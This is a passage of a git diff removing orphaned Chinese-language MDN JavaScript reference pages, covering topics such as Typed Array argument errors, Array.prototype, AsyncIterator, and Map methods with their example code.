-original_slug: Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments ---- -<div>{{jsSidebar("Errors")}}</div> - -<h2 id="错误提示">错误提示</h2> - -<pre class="syntaxbox">TypeError: invalid arguments (Firefox)</pre> - -<h2 id="错误类型">错误类型</h2> - -<p>{{jsxref("TypeError")}}</p> - -<h2 id="哪里出错了?">哪里出错了?</h2> - -<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">类型化数组(Typed array</a>) 的构造器可以通过接收以下类型的参数中的一种</p> - -<ul> - <li>表示长度的数字,</li> - <li>另外一个类型化数组,</li> - <li>类数组对象,</li> - <li>可迭代对象,</li> - <li>一个 {{jsxref("ArrayBuffer")}} 对象</li> -</ul> - -<p>来创建一个新的类型化数组。其他类型的构造器参数都无法创建合法的类型化数组。</p> - -<h2 id="示例">示例</h2> - -<p>类型化数组——例如 {{jsxref("Uint8Array")}} ——无法通过字符串创建。实际上,字符串根本不能出现在类型化数组中。</p> - -<pre class="brush: js example-bad">var ta = new Uint8Array("nope"); -// TypeError: invalid arguments -</pre> - -<p>创建一个合法的 {{jsxref("Uint8Array")}} 对象的不同方式:</p> - -<pre class="brush: js example-good">// From a length -var uint8 = new Uint8Array(2); -uint8[0] = 42; -console.log(uint8[0]); // 42 -console.log(uint8.length); // 2 -console.log(uint8.BYTES_PER_ELEMENT); // 1 - -// From an array -var arr = new Uint8Array([21,31]); -console.log(arr[1]); // 31 - -// From another TypedArray -var x = new Uint8Array([21, 31]); -var y = new Uint8Array(x); -console.log(y[0]); // 21 - -// From an ArrayBuffer -var buffer = new ArrayBuffer(8); -var z = new Uint8Array(buffer, 1, 4); - -// From an iterable -var iterable = function*(){ yield* [1,2,3]; }(); -var uint8 = new Uint8Array(iterable); -// Uint8Array[1, 2, 3] -</pre> - -<h2 id="相关内容">相关内容</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed arrays</a></li> - <li>{{jsxref("ArrayBuffer")}}</li> - <li>{{jsxref("Uint8Array")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/array/prototype/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/array/prototype/index.html deleted file mode 100644 index 24d05f338a..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/array/prototype/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Array.prototype -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype -tags: - - Array.prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/Array/prototype ---- -<div>{{JSRef}}</div> - -<p><strong><code>Array.prototype</code></strong> 属性表示 {{jsxref("Array")}} 构造函数的原型,并允许您向所有Array对象添加新的属性和方法。</p> - -<pre class="brush: js">/* -如果JavaScript本身不提供 first() 方法, -添加一个返回数组的第一个元素的新方法。 -*/ - -if(!Array.prototype.first) { - Array.prototype.first = function() { - console.log(`如果JavaScript本身不提供 first() 方法, -添加一个返回数组的第一个元素的新方法。`); - return this[0]; - } -} -</pre> - -<h2 id="Description" name="Description">描述</h2> - -<p>{{jsxref("Array")}}实例继承自 <strong>Array.prototype </strong>。与所有构造函数一样,您可以更改构造函数的原型对象,以对所有 {{jsxref("Array")}} 实例进行更改。例如,可以添加新方法和属性以扩展所有Array对象。这用于 {{Glossary("Polyfill", "polyfilling")}}, 例如。</p> - -<p>鲜为人知的事实:<code>Array.prototype</code> 本身也是一个 {{jsxref("Array")}}。</p> - -<pre class="brush: js">Array.isArray(Array.prototype); -// true -</pre> - -<p>{{js_property_attributes(0, 0, 0)}}</p> - -<h2 id="Properties" name="Properties">属性</h2> - -<dl> - <dt><code>Array.prototype.constructor</code></dt> - <dd>所有的数组实例都继承了这个属性,它的值就是 {{jsxref("Array")}},表明了所有的数组都是由 {{jsxref("Array")}} 构造出来的。</dd> - <dt>{{jsxref("Array.prototype.length")}}</dt> - <dd>上面说了,因为 <code>Array.prototype</code> 也是个数组,所以它也有 <code>length</code> 属性,这个值为 <code>0</code>,因为它是个空数组。</dd> -</dl> - -<h2 id="Methods" name="Methods">方法</h2> - -<h3 id="Mutator_methods" name="Mutator_methods">会改变自身的方法</h3> - -<p>下面的这些方法会改变调用它们的对象自身的值:</p> - -<dl> - <dt>{{jsxref("Array.prototype.copyWithin()")}} {{experimental_inline}}</dt> - <dd>在数组内部,将一段元素序列拷贝到另一段元素序列上,覆盖原有的值。</dd> - <dt>{{jsxref("Array.prototype.fill()")}} {{experimental_inline}}</dt> - <dd>将数组中指定区间的所有元素的值,都替换成某个固定的值。</dd> - <dt>{{jsxref("Array.prototype.pop()")}}</dt> - <dd>删除数组的最后一个元素,并返回这个元素。</dd> - <dt>{{jsxref("Array.prototype.push()")}}</dt> - <dd>在数组的末尾增加一个或多个元素,并返回数组的新长度。</dd> - <dt>{{jsxref("Array.prototype.reverse()")}}</dt> - <dd>颠倒数组中元素的排列顺序,即原先的第一个变为最后一个,原先的最后一个变为第一个。</dd> - <dt>{{jsxref("Array.prototype.shift()")}}</dt> - <dd>删除数组的第一个元素,并返回这个元素。</dd> - <dt>{{jsxref("Array.prototype.sort()")}}</dt> - <dd>对数组元素进行排序,并返回当前数组。</dd> - <dt>{{jsxref("Array.prototype.splice()")}}</dt> - <dd>在任意的位置给数组添加或删除任意个元素。</dd> - <dt>{{jsxref("Array.prototype.unshift()")}}</dt> - <dd>在数组的开头增加一个或多个元素,并返回数组的新长度。</dd> -</dl> - -<h3 id="Accessor_methods" name="Accessor_methods">不会改变自身的方法</h3> - -<p>下面的这些方法绝对不会改变调用它们的对象的值,只会返回一个新的数组或者返回一个其它的期望值。</p> - -<dl> - <dt>{{jsxref("Array.prototype.concat()")}}</dt> - <dd>返回一个由当前数组和其它若干个数组或者若干个非数组值组合而成的新数组。</dd> - <dt>{{jsxref("Array.prototype.includes()")}} {{experimental_inline}}</dt> - <dd>判断当前数组是否包含某指定的值,如果是返回 <code>true</code>,否则返回 <code>false</code>。</dd> - <dt>{{jsxref("Array.prototype.join()")}}</dt> - <dd>连接所有数组元素组成一个字符串。</dd> - <dt>{{jsxref("Array.prototype.slice()")}}</dt> - <dd>抽取当前数组中的一段元素组合成一个新数组。</dd> - <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt> - <dd>返回一个表示当前数组字面量的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toSource()")}} 方法。</dd> - <dt>{{jsxref("Array.prototype.toString()")}}</dt> - <dd>返回一个由所有数组元素组合而成的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toString()")}} 方法。</dd> - <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt> - <dd>返回一个由所有数组元素组合而成的本地化后的字符串。遮蔽了原型链上的 {{jsxref("Object.prototype.toLocaleString()")}} 方法。</dd> - <dt>{{jsxref("Array.prototype.indexOf()")}}</dt> - <dd>返回数组中第一个与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。</dd> - <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt> - <dd>返回数组中最后一个(从右边数第一个)与指定值相等的元素的索引,如果找不到这样的元素,则返回 -1。</dd> -</dl> - -<h3 id="Iteration_methods" name="Iteration_methods">遍历方法</h3> - -<p>在下面的众多遍历方法中,有很多方法都需要指定一个回调函数作为参数。在每一个数组元素都分别执行完回调函数之前,数组的length属性会被缓存在某个地方,所以,如果你在回调函数中为当前数组添加了新的元素,那么那些新添加的元素是不会被遍历到的。此外,如果在回调函数中对当前数组进行了其它修改,比如改变某个元素的值或者删掉某个元素,那么随后的遍历操作可能会受到未预期的影响。总之,不要尝试在遍历过程中对原数组进行任何修改,虽然规范对这样的操作进行了详细的定义,但为了可读性和可维护性,请不要这样做。</p> - -<dl> - <dt>{{jsxref("Array.prototype.forEach()")}}</dt> - <dd>为数组中的每个元素执行一次回调函数。</dd> - <dt>{{jsxref("Array.prototype.entries()")}} {{experimental_inline}}</dt> - <dd>返回一个数组迭代器对象,该迭代器会包含所有数组元素的键值对。</dd> - <dt>{{jsxref("Array.prototype.every()")}}</dt> - <dd>如果数组中的每个元素都满足测试函数,则返回 <code>true</code>,否则返回 <code>false。</code></dd> - <dt>{{jsxref("Array.prototype.some()")}}</dt> - <dd>如果数组中至少有一个元素满足测试函数,则返回 true,否则返回 false。</dd> - <dt>{{jsxref("Array.prototype.filter()")}}</dt> - <dd>将所有在过滤函数中返回 <code>true</code> 的数组元素放进一个新数组中并返回。</dd> - <dt>{{jsxref("Array.prototype.find()")}} {{experimental_inline}}</dt> - <dd>找到第一个满足测试函数的元素并返回那个元素的值,如果找不到,则返回 <code>undefined</code>。</dd> - <dt>{{jsxref("Array.prototype.findIndex()")}} {{experimental_inline}}</dt> - <dd>找到第一个满足测试函数的元素并返回那个元素的索引,如果找不到,则返回 <code>-1</code>。</dd> - <dt>{{jsxref("Array.prototype.keys()")}} {{experimental_inline}}</dt> - <dd>返回一个数组迭代器对象,该迭代器会包含所有数组元素的键。</dd> - <dt>{{jsxref("Array.prototype.map()")}}</dt> - <dd>返回一个由回调函数的返回值组成的新数组。</dd> - <dt>{{jsxref("Array.prototype.reduce()")}}</dt> - <dd>从左到右为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。</dd> - <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt> - <dd>从右到左为每个数组元素执行一次回调函数,并把上次回调函数的返回值放在一个暂存器中传给下次回调函数,并返回最后一次回调函数的返回值。</dd> - <dt>{{jsxref("Array.prototype.values()")}} {{experimental_inline}}</dt> - <dd>返回一个数组迭代器对象,该迭代器会包含所有数组元素的值。</dd> - <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}} {{experimental_inline}}</dt> - <dd>和上面的 <code>values() 方法是同一个函数。</code></dd> -</dl> - -<h3 id="Generic_methods" name="Generic_methods">通用方法</h3> - -<p>在 JavaScript 中,很多的数组方法被故意设计成是通用的。也就是说,那些看起来像是数组的对象(类数组对象),即拥有一个 <code>length</code> 属性,以及对应的索引属性(也就是数字类型的属性,比如 <code>obj[5]</code>)的非数组对象也是可以调用那些数组方法的。其中一些数组方法,比如说 {{jsxref("Array.join", "join")}} 方法,它们只会单纯的读取当前对象的 <code>length</code> 属性和索引属性的值,并不会尝试去改变这些属性的值。而另外一些数组方法,比如说 {{jsxref("Array.reverse", "reverse")}} 方法,它们会尝试修改那些属性的值,因此,如果当前对象是个 {{jsxref("String")}} 对象,那么这些方法在执行时就会报错,因为字符串对象的 <code>length</code> 属性和索引属性都是只读的。</p> - -<h2 id="Specifications" name="Specifications">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.3.1', 'Array.prototype')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype', 'Array.prototype')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">浏览器兼容性</h2> - -<div> -<div> - - -<p>{{Compat("javascript.builtins.Array.prototype")}}</p> -</div> -</div> - -<h2 id="See_also" name="See_also">相关链接</h2> - -<ul> - <li>{{jsxref("Array")}}</li> - <li>{{jsxref("Function.prototype")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html deleted file mode 100644 index 2173e49cd6..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: AsyncFunction.prototype -slug: orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype -original_slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype ---- -<div>{{JSRef}}</div> - -<p><code><strong>AsyncFunction.prototype</strong></code> 属性表示 {{jsxref("AsyncFunction")}} 的原型对象。</p> - -<h2 id="描述">描述</h2> - -<p>{{jsxref("AsyncFunction")}} 对象继承自 <code>AsyncFunction.prototype</code>。<code>AsyncFunction.prototype</code> 不能被修改。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt><code><strong>AsyncFunction.constructor</strong></code></dt> - <dd>默认值为 {{jsxref("AsyncFunction")}}。</dd> - <dt><code><strong>AsyncFunction.prototype[@@toStringTag]</strong></code></dt> - <dd>返回 "AsyncFunction"。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td>最初定义在ES2017.</td> - </tr> - </tbody> -</table> - -<h2 id="兼容性">兼容性</h2> - -<div> -<div> - - -<p>{{Compat("javascript.builtins.AsyncFunction.prototype")}}</p> -</div> -</div> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{jsxref("AsyncFunction")}}</li> - <li>{{jsxref("Function")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/asynciterator/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/asynciterator/index.html deleted file mode 100644 index aa406b37c2..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/asynciterator/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: AsyncIterator -slug: orphaned/Web/JavaScript/Reference/Global_Objects/AsyncIterator -tags: - - 异步迭代器 - - 类 -translation_of: Web/JavaScript/Reference/Global_Objects/AsyncIterator -original_slug: Web/JavaScript/Reference/Global_Objects/AsyncIterator ---- -<p>{{JSRef}}{{Draft}}</p> - -<p><strong><code>AsyncIterator</code></strong> 全局对象是一个提供辅助方法的抽象类,与暴露在{{JSxRef("Array")}} 实例上的那些类似。</p> - -<h2 id="构造函数">构造函数</h2> - -<dl> - <dt>{{JSxRef("AsyncIterator.AsyncIterator", "AsyncIterator()")}} </dt> - <dd>一个抽象构造函数,仅能够通过 {{JSxRef("Operators/super", "super()")}} 来调用。</dd> -</dl> - -<h2 id="属性">属性</h2> - -<dl> - <dt><code>AsyncIterator.prototype</code></dt> - <dd><code>%AsyncIteratorPrototype%</code> 内部对象。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{JSxRef("AsyncIterator.from()")}} </dt> - <dd>等同于在传入的对象上调用 <code>@@asyncIterator</code> 。</dd> -</dl> - -<h2 id="AsyncIterator_原型"><code>AsyncIterator</code> 原型</h2> - -<h3 id="原型属性">原型属性</h3> - -<dl> - <dt><code>AsyncIterator.prototype.constructor</code></dt> - <dd>指定创建对的象原型的函数.</dd> - <dt><code>AsyncIterator.prototype[@@toStringTag]</code> </dt> - <dd><code>字符串 "Iterator"</code>.</dd> -</dl> - -<h3 id="原型方法">原型方法</h3> - -<dl> - <dt>{{JSxRef("AsyncIterator.prototype.map()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.filter()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.take()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.drop()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.asIndexedPairs()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.flatMap()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.reduce()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.toArray()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.forEach()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.some()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.every()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.find()")}} </dt> - <dd>...</dd> - <dt>{{JSxRef("AsyncIterator.prototype.@@iterator()", "AsyncIterator.prototype[@@iterator]()")}}</dt> - <dd>返回该 <code>AsyncIterator</code> 实例。</dd> -</dl> - -<h2 id="实现方法">实现方法</h2> - -<dl> - <dt>{{JSxRef("AsyncIterator.prototype.next()", "<<var>implementation</var>>.prototype.next()")}}</dt> - <dd>获取 <code>AsyncIterator</code> 中的下一项</dd> - <dt>{{JSxRef("AsyncIterator.prototype.return()", "<<var>implementation</var>>.prototype.next()")}}{{Optional_Inline}}</dt> - <dd>返回给出的值,并结束迭代。</dd> - <dt>{{JSxRef("AsyncIterator.prototype.throw()", "<<var>implementation</var>>.prototype.next()")}}{{Optional_Inline}}</dt> - <dd>抛出一个迭代器错误(同时也终止了迭代器,除非是在该迭代器内部被捕获)。</dd> -</dl> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="https://tc39.es/proposal-iterator-helpers/#sec-asynciterator-constructor">ESNext Iterator Helpers Proposal</a></td> - <td><span class="spec-Draft">Stage 2 Draft</span></td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("javascript.builtins.AsyncIterator")}}</p> - -<h2 id="另请参阅">另请参阅</h2> - -<ul> - <li>{{JSxRef("Iteration_protocols", "Iteration protocols", "", "1")}}</li> - <li>{{JSxRef("Generator")}}</li> - <li>{{JSxRef("Global_Objects/AsyncGenerator", "AsyncGenerator")}}</li> - <li>{{JSxRef("Iterator")}} </li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@iterator/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@iterator/index.html deleted file mode 100644 index 9a93339548..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@iterator/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Map.prototype[@@iterator]() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/@@iterator -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Map - - Method - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@iterator -original_slug: Web/JavaScript/Reference/Global_Objects/Map/@@iterator ---- -<div>{{JSRef}}</div> - -<p><code><strong>@@iterator</strong></code><strong> </strong>属性的初始值与 {{jsxref("Map.prototype.entries()", "entries")}} 属性的初始值是同一个函数对象。</p> - -<div>{{EmbedInteractiveExample("pages/js/map-prototype-@@iterator.html")}}</div> - - - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><code><em>myMap</em>[Symbol.iterator]</code></pre> - -<h3 id="返回值">返回值</h3> - -<p>map 的 <strong>iterator</strong> 函数默认就是 {{jsxref("Map.prototype.entries()", "entries()")}} 函数。</p> - -<h2 id="示例">示例</h2> - -<h3 id="使用_iterator()">使用 <code>[@@iterator]()</code></h3> - -<pre class="brush:js">var myMap = new Map(); -myMap.set('0', 'foo'); -myMap.set(1, 'bar'); -myMap.set({}, 'baz'); - -var mapIter = myMap[Symbol.iterator](); -//返回的其实是个generator -console.log(mapIter.next().value); // ["0", "foo"] -console.log(mapIter.next().value); // [1, "bar"] -console.log(mapIter.next().value); // [Object, "baz"] -</pre> - -<h3 id="在for..of中使用iterator()">在<code>for..of中</code>使用<code>[@@iterator]()</code> </h3> - -<pre class="brush:js">var myMap = new Map(); -myMap.set('0', 'foo'); -myMap.set(1, 'bar'); -myMap.set({}, 'baz'); - -for (const entry of myMap) { - console.log(entry); -} -// ["0", "foo"] -// [1, "bar"] -// [{}, "baz"] - -for (var v of myMap) { - console.log(v); -} - -// 0: foo -// 1: bar -// [Object]: baz</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - - - -<p>{{Compat("javascript.builtins.Map.@@iterator")}}</p> - -<h2 id="另见">另见</h2> - -<ul> - <li>{{jsxref("Map.prototype.entries()")}}</li> - <li>{{jsxref("Map.prototype.keys()")}}</li> - <li>{{jsxref("Map.prototype.values()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@species/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@species/index.html deleted file mode 100644 index c451e94285..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@species/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: get Map[@@species] -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/@@species -translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@species -original_slug: Web/JavaScript/Reference/Global_Objects/Map/@@species ---- -<div>{{JSRef}}</div> - -<p> <code><strong>Map[@@species]</strong></code> 访问器属性会返回一个 <code>Map</code> 构造函数.</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">Map[Symbol.species] -</pre> - -<h2 id="描述">描述</h2> - -<p>The species accessor property returns the default constructor for <code>Map</code> objects. Subclass constructors may over-ride it to change the constructor assignment.</p> - -<h2 id="案例">案例</h2> - -<p>The species property returns the default constructor function, which is the <code>Map</code> constructor for <code>Map</code> objects:</p> - -<pre class="brush: js">Map[Symbol.species]; // function Map()</pre> - -<p>In a derived collection object (e.g. your custom map <code>MyMap</code>), the <code>MyMap</code> species is the <code>MyMap</code> constructor. However, you might want to overwrite this, in order to return parent <code>Map</code> objects in your derived class methods:</p> - -<pre class="brush: js">class MyMap extends Map { - // 重写覆盖 MyMap species to the parent Map constructor - static get [Symbol.species]() { return Map; } -}</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Map.@@species")}}</p> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{jsxref("Map")}}</li> - <li>{{jsxref("Symbol.species")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@tostringtag/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@tostringtag/index.html deleted file mode 100644 index f592aedbf4..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/@@tostringtag/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Map.prototype[@@toStringTag] -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag -translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag -original_slug: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag ---- -<div>{{JSRef}}</div> - -<p> <strong><code>Map[@@toStringTag]</code></strong> 的初始值是"Map".</p> - -<div>{{js_property_attributes(0,0,1)}}</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">Map[Symbol.toStringTag]</pre> - -<h2 id="示例">示例</h2> - -<pre class="brush:js">Object.prototype.toString.call(new Map()) // "[object Map]" -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - -<p>{{CompatibilityTable}} </p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(44.0) }}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatChrome(44.0) }}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatChrome(44.0)}}</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/clear/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/clear/index.html deleted file mode 100644 index b23ce95ce2..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/clear/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Map.prototype.clear() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/clear -tags: - - ECMAScript 2015 - - JavaScript - - Map -translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear -original_slug: Web/JavaScript/Reference/Global_Objects/Map/clear ---- -<div>{{JSRef}}</div> - -<p><code>clear()</code>方法会移除Map对象中的所有元素。</p> - -<div>{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}</div> - - - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><code><em>myMap</em>.clear();</code> -</pre> - -<h3 id="返回值">返回值</h3> - -<p>{{jsxref("undefined")}}.</p> - -<h2 id="示例">示例</h2> - -<h3 id="调用clear方法">调用<code>clear</code>方法</h3> - -<pre class="brush: js">var myMap = new Map(); -myMap.set("bar", "baz"); -myMap.set(1, "foo"); - -myMap.size; // 2 -myMap.has("bar"); // true - -myMap.clear(); - -myMap.size; // 0 -myMap.has("bar") // false -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - - - -<p>{{Compat("javascript.builtins.Map.clear")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{jsxref("Map")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/delete/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/delete/index.html deleted file mode 100644 index 5b4d1772fd..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/delete/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Map.prototype.delete() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/delete -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete -original_slug: Web/JavaScript/Reference/Global_Objects/Map/delete ---- -<div>{{JSRef}}</div> - -<p><strong> </strong><code><strong><strong>delete()</strong></strong></code><strong> </strong>方法用于移除 <code>Map</code> 对象中指定的元素。</p> - -<div>{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}</div> - - - -<h2 id="语法">语法</h2> - -<pre class="brush: js">myMap.delete(key);</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt>key</dt> - <dd>必须。从 <code>Map</code> 对象中移除的元素的键。</dd> -</dl> - -<h3 id="返回值">返回值</h3> - -<dl> - <dt>Boolean</dt> - <dd>如果 <code>Map</code> 对象中存在该元素,则移除它并返回<em> <code>true</code></em>;否则如果该元素不存在则返回 <code><em>false</em></code>。</dd> -</dl> - -<h2 id="示例">示例</h2> - -<h3 